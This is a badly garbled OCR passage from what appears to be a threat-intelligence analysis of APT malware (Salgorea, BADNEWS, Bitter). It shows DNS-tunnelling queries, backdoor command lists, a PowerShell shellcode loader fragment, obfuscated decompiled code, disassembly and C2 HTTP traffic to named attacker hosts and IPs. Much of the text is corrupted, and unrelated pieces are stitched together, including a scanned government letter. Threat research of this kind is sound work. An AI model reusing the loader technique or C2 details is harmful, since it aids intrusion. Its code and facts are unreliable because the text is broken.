mBk‘r’GK 1%

I T LtmVYQQAAAAAAAEAAAAAAAAAAAAAAICY
00 00 01 00 00 00" I' 2E D9 95 62L

1VOMZGVkZmBKYGKAAWD7VvA2H

Base64

P

Base64
BotID I 04 00 00 00 00 00 01 00 00 OOL
AAAAADWAAAABAAAAeJwLc_ULDAY1MjeyMHQydHRYTMNNzMssL i IKLMkvYnBiAA.gTOP_R2-

zlib 1~

H

28
41
41
65

P

2E D9 95 62 04 00 00 00

M!

Address: | 0x002EE3D0

- @

0=z00ZEESD0 56 45 de 55 53 24 32 37 32 38 31 42 31 41 42 41

93

BotlID

E]

Base64

A

I 23€

WENUS-2T281014RL -
0x00ZEEZED B4 6d 69 fe 62 T3 T4 T2 61 T4 &f T2 00 42 00 00 dministrator.B..

A



4 Queries
4 LtmVYgAAAAAAAAMAAAAANAAAAMAAAATON . z . terliava. com: type NULL, class IN

Mame: LtmVYgAAAAAAAAAAAAAAAMAAAAMAATON., z . teriava.com
[Mame Length: 46]

88 68 00 B8 68 e
41 41 41 41 41 41
41 41 41 41 4a 4f
61 83 63 6f 6d @

8838
8848
Ba5a
Be6a

74 Bd 56 59 67 41 41 4]
41 41 41 41 41 41 41 41 41 4
Ja B7 74 65 72 69 61 76
B8 Ba B0 81 B8 20 28 88 B8 ee

94 4 I 24€

(A

enum CHDS
CHD _API_RUH
CHD FREE LIE
CHD PROC_START
CHD READ _FILE
CHD SHELL RES
CHD_HOHE
CHD WRITE
CHD_EHUM_WIHDOWS
CHD SET_REG
CHD REG
CHD_FIHD
CHDS_ HMOUE
CHD DELETE
CHD DRUS IHF
CHD CREATE_DIR
CHD_REMOUE
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i ! 0 " IC<Container
type>.<UID>.<Container>.<Server address>A

V)

Y WNure'’
1C1.MFVTIN3MOMADQMJISGM2DKNRXHDAKR7WS . LHNZQWSJ IFBUSTKBJI5 1QGQICIMBUIBNAT51CGQLICIBL4AB
LY5J5TCVAW. tt. lookfofo.com

[ 2z H

i TIC ~ 1 Container type (4 Container Ng) :':D H A
Container type™ 1[ 4 A2 ) v v A3
] wA 4 D w AMFVTIN3MOMADQMJSGMZDKNRXHDAKR?WS~/1 uID
IP Base32 A
LHNZQWSJIFBUSTKBJ51QGQICIMBUIBNAT51CGQLICIBLABLYSJ5TCVAW M Container” 3 Base32
A’ y 1ACIMAOQ A
4. Salgorea 4
2015 10 W a " h T o D W i
w SalgoreaA 2017 w "7 a = powershellA (“pPpw W A
2015 ~ Salgorea N Word J6  © g Wi
p - " . " A Bundle.rdb o~ ~ [ msiexec.exe A
Bundle.rdb 3, Salgorea 9 dlIA
h w1
Y dll i FE
aQa- a:b p’
o p ' !
e Y H A
2017 © 10 Wae powershell - FW® shellcode - A shellcode
w FUa dll o Y A
$binary = [Convert]: :FromBase64String (“6MBQBgD+/v7+u61dh3QROOYNHOa3V(
$signature=@

[D11Import ("kernel32.d117)] public static extern IntPtr VirtualAlloc
(D11 Import ("kernel32.d11”)] public static extern IntPtr CreateThread

99 d I 29€

Ne ~ 2015 0 Bundlecrdb w  nWw Ar . A= A
1888EDSD sub eax, 148h
1088EDG2 jz loc_1888EDED
1888EDGE sub eax, 46h
10868EDGE jz short loc_1888EDD3
1088EDGD sub eax, 184%h
1088EDT2 jz short loc 188BEDBE
1088EDTY L sub eax, 53h
1088EDTTF jz short loc_188BEDA3
1088ED79 sub eax, 2980h
1088EDTE jz short loc_188BEDSC
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00000800 | 01 00 00 02 0% 00 00 00 01 00 00 00 00 00 00 00 .
00000810 | 00 00 OO0 00 00 00 00 00 <O 0O 00 0D 09 03 00 UU*-___, .
00000820 O[El 00 00 00 <0 00 OUOO 00 00 00 46 02 UU yU _ qompOSIt% Mon'rker .
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o) ; . .
GOVERNMENT OF PAKISTAN
@ MINISTRY OF INTERIOR

=  NATIONAL DATABASE & REGISTRATION AUTHORITY
NLD_RA Regional Head Office,
New Zarghoon Road Quetta,
Telephone:081-9211854, Fax-081-921 1828
NADRA/NRC/Policy- 7005-15 11 Dec 2017

REMINDER-IN
To: All Zonal Assistant Directors,
All DAUs (NRCs/MRVs)
1D: Technical Section
Card Destruction Cell

Subject: Disposal of Cards/ Sf&r‘:;w K, ) e i
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# 0 Basa Types
- Deifved Types

& .ctor() : void
@

HIsCLsZtxcalksNeg();

dnrerrs ] static vold

goto TL_18;
13

goto TL_1F;

Sefrma_t-ala=rotihl ofes

S

string)

FuirTApd SLFEFRAATE ECn1tIFpTP2ZmuheYi

72qitAI3Q.mUyisF4sn. Run( );
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"]
i
= {1
a4}
=4,
=4
=4
goto IL_2Fy
case 4:
return;
default:
arg 61.0 = 4;
break;
}
b
IL 1A:

CXSMEErBHZjyS9AcAx. kLju
L 1F:

try
{

IL 2F:
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%PROGRAMDATA%\Microsoft\DeviceSync\VMwareCplLauncher.exe
%PROGRAMDATA%\Microsoft\DeviceSync\vmtools.dll
%PROGRAMDATA%\Microsoft\DeviceSync\MSBui ld.exe

i T VMwareCplLauncher.exew T p~ vmtools.dll dir
G v BADNEWS T MSBuild.exeA

VMwareCplLauncher _exe T w 7 v vmtools.dIT vmtools.dll v e Wa
w BaiduUpdateTaskl K+ 7% Kk 7  WNe w W  MSBuild.exeA

MSBuild.exe Y] n
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[ I JILT Base64 y o H  base64
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rqnm;zmmmyM»ﬁmmkﬂmmmgimmmw FEARUAZ IS PoRGEY T EY §RO(UAY ¥ |

<ggne‘ratnrﬁkabidFeeds v2.0 -- https:/Awww. rapidfeeds. com</generator>
<

C&C A
P h sz H 0 [ C& F Ah 2+ H '
uuid=[UUID] #un=[ J#en=[ J#on=[ b 1 #lan=[IP J#nop=#ver=1.0A
a AESw " * DD1876848203D9E10ABCEECO7282FF37~ +base64 o

//e3e7e71a0b28b5e96cc492e636722F73//4sVKAOvU3D//ABDYotONXyG. php
a  base64 zZ B " L=k

POST //e3e7e71aBb28b5e96cc492e636722F73//4sVKAOvu3D/ /ABDYotBNxyG. php HTTP/1.1
HOST: 94.156.35.284

User-Agent: Mozilla/5.8 (Windows NT 6.1; WOW64; rv:44.8) Gecko/28186161
Accept: application/x-www-form-urlencoded

Content-Type: application/x-www-form-urlencoded

Cache-Control: no-cache

Content-Length: 118
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text:
kext:
kext:
kext:
ktext:
ktext:
ktext:
ktext:
ktext:
text:
text:
text:
text:
text:
kext:
kext:
kext:
ktext:
ktext:
ktext:
ktext:
ktext:
text:
text:
text:
text:
text:
kext:
kext:
kext:
ktext:
ktext:
ktext:
ktext:
ktext:
ktext:
text:
text:
text:
text:
kext:
kext:
kext:

=

2 G v dat b

BOBG9AF B
BOB6YAF B
88B69AF A
88B69 AF 1
BOBGDAF 3
BOBGOAF D
BOBGOAFE
GoB691 08
BOB6D1 83
BAB691 84
BOB69105
BOB6G21 0B
BOBG21 00
aeB69111
BOB6P117
BOB6P11F
B8B69125
BOB6D127
BOB6GD12D
BOB6GO130
BOB6GO130
BOB6GO130
BBB69131
BOB69133
BOB6P136
BOB6P138
BOBGP139
BOB6P13E
BOB69141
B8B69141
BOB69141
BOB69141
BOBGO1 LY
BOBGO148
BOB6GO14A
BABGD14D
BBB69151
BOB6P153
BOB6P153
BOB6GP153
BOB6P156
BOB6P157
B8B6P159

var_4

loc_B69138:

loc_B69141:

loc_B69153:

H o~

= dword ptr -4

push ebp

mow ebp, esp

sub esp, 218h

moy eax, _  security_cookie
®or eax, ebp

mou [ebp+uar_4], eax

push esi

push edi

lea eax, [ebp+Buffer]

push eax ; 1pBuffer

push 184h

5 nBufferLength

call ds:GetlLogicalDriveStringsw

cmp [ebp+Buffer], 8

lea esi, [ebp+rBuffer]

jz short loc_B69153

moy edi, ds:GetDriveTypel
lea ecx, [ecx+8]

; CODE XREF: findsensefile+61jj
; lpRootPathHame

; CODE XREF: findsensefile+usfj

; Findsensefile+581j

; CODE XREF: findsensefile+3stj

push esi
call edi ; GetDriveTypeW
cmp eax, DRIVE_FIXED
jnz short loc_B69141
push esi
call collectfile
add esp, 4
add esi, 2
cmp word ptr [esi], @
jnz short loc_B69141
add esi, 2
cmp vord ptr [esi], @
jnz short loc_B69138
mowv ecx, [ebp+var_4]
pop edi
xor ecx, ebp
pop esi
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I Follow TCP Stream

Stream Content

ilpepr = = Derer = 2 Een —
(RSB TTTEREZS A E

sy

.
>

0F A

239.255.255.250 SSUP 143 M-5EARCH * HIIP/1.1
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Dy DIN ~ wif

POST /medal/adfsdsqw.php HTTP/ 1.0

Host: medzone71.com

Connection: keep-alive

loateat Aupae V3 o d oo (pxtttete S 200 10l paradiost,
Conrenzdd éngtHit=b

TR TR N SRR R —

8:05:38 GMT Date: Wed, @2 Nov 2016 @
Server: Apache
X-Powered-By: PHP/5.3.29
Copnpctiop: . clase.
Lonteni=Typer=text/html

XML _TNEQ=NLL:<br>.
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N
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IR

Rwlj Bitter Ah

12.162 62 434 92

192.168.175.2 DNS 88 Standard query @xe768 A microupdatesolution.ddns.net
192.168.175.128 DNS 164 Standard query response @xe768 A microupdatesolution.ddns.net A 89.42.212.162

123 4 I 4€

Ty h 0 L oA



11 13.537893 192.168.68.131 89.42.212.162 TCP 1514 41869246 [ACK] Seq=2921 Ack=12 Win=64229 Len=1460

12 13.537894 192.168.68.131 89.42.212.162 TCP 1514 4186+9246 [ACK] Seq=4381 Ack=12 Win=64229 Len=1468

13 13.537895 192.168.68.131 89.42.212.162 TCP 1514 4186+9246 [ACK] Seq=5841 Ack=12 Win=64229 Len=1460

14 13.537895 89.42.212.162 192.168.68.131 TCP 54 92464186 [ACK] Seq=12 Ack=4381 Win=64248 Len=0

15 13.537895 192.168.68.131 89.42.212.162 TCP 1514 4186+9246 [ACK] Seq=7301 Ack=12 Win=64229 Len=1460

16 13.537896 89.42.212.162 Fee :

17 13.537896 192.168.68.131 M Wireshark - 855 TCP i (tcp.stream eq 0) - bit

18 13.537906 89.42.212.162

19 13.537933 89.42.212.162 rcgDA....... F.7x.1tp3! 2Yk%Fs90*tp3 | 2Yk¥%Fs90*tp3 | 2YkS%Fs98*tp3 | 2Yk%Fs98*tp3 | 2Yk%Fs90*tp3 | 2Yk¥%Fs90*
28 13.537933 89.42.212.162 %fs90%tp3! 2Yk%fs90*tp3 1 2Yk%fs90%tp3 ! 2Yk%Fs90*tp3! 2Yk%fs90*+tp3 | 2Yk%fs9@*tp3 | 2Yk%Fs90*tp3 ! 2Yk%fs9€
21 15646882 89.42.212.162 %fs90%tp3! 2Yk%fs90*tp3 1 2Yk%fs90%tp3 ! 2Yk%Fs90=tp3! 2YkH%Fs90™tp3 | 2Yk%Fs98*tp3 | 2Yk%Fs90*tp3 ! 2Yk%kfs9¢

- %fs90*tp3! 2Yk%fs90*tp3 1 2YkXATs90=tp3 | 2YkEFs 90 tp3 | 2YKAFs90%tp3 | 2YkAFs90™tp3 | 2YKAFs90*tp3 | 2YkiEfs9€
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~ 3 h w ~ 3D L a ba- P e LT
Ab C&C  H3 3 v A

Sy H @ 10 Y = JHGQ A
I c’C F ° wo IPG [n i “ i 1A
2 T 1 On 1 c&C A

I W w C&C A %o C&C O 9~ A
192.168.68.131 202.106.0.20 DNS 88 Yes Standard query @x4811 A microupdatesolution.ddns.net

=242555617 Win=64248 Len=0 192.168.68.131 89.42 162 TCP 54 Yes 4186 246 [ACK]
55617 Ack=1064408081 Win=64248 Len=11 89.42.212.162 192.168.68.131 TCP 65 Yes 9246 - 4186 [PSH, ACK] Seq=2425

1 Ack=242555628 Win=64229 Len=1460 192.168.68.131 89.42.212.162 TP 1514 Yes 4186 - 9246 [ACK] Seq=106440808
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Bitter C&C Ha = v k¥Fs90*tp312YA

Q0000000 72 63 71 44 41 D2 OB 00 00 00 00 OO0 OO0 OO0 00 00 regDAQ

00000010 6B 25 66 73 39 30 2A 74 70 33 21 32 59 00 00 00 k3£=80*tp3!2Y
00000020 18 46 17 37 78 E2 21 74 70 33 21 32 59 6B 25 66 F TxA!tp3!2Yk:if
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- |Data (1468 bytes)
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3000 0 s
3001 0 !
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3005 - P
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3013 b)
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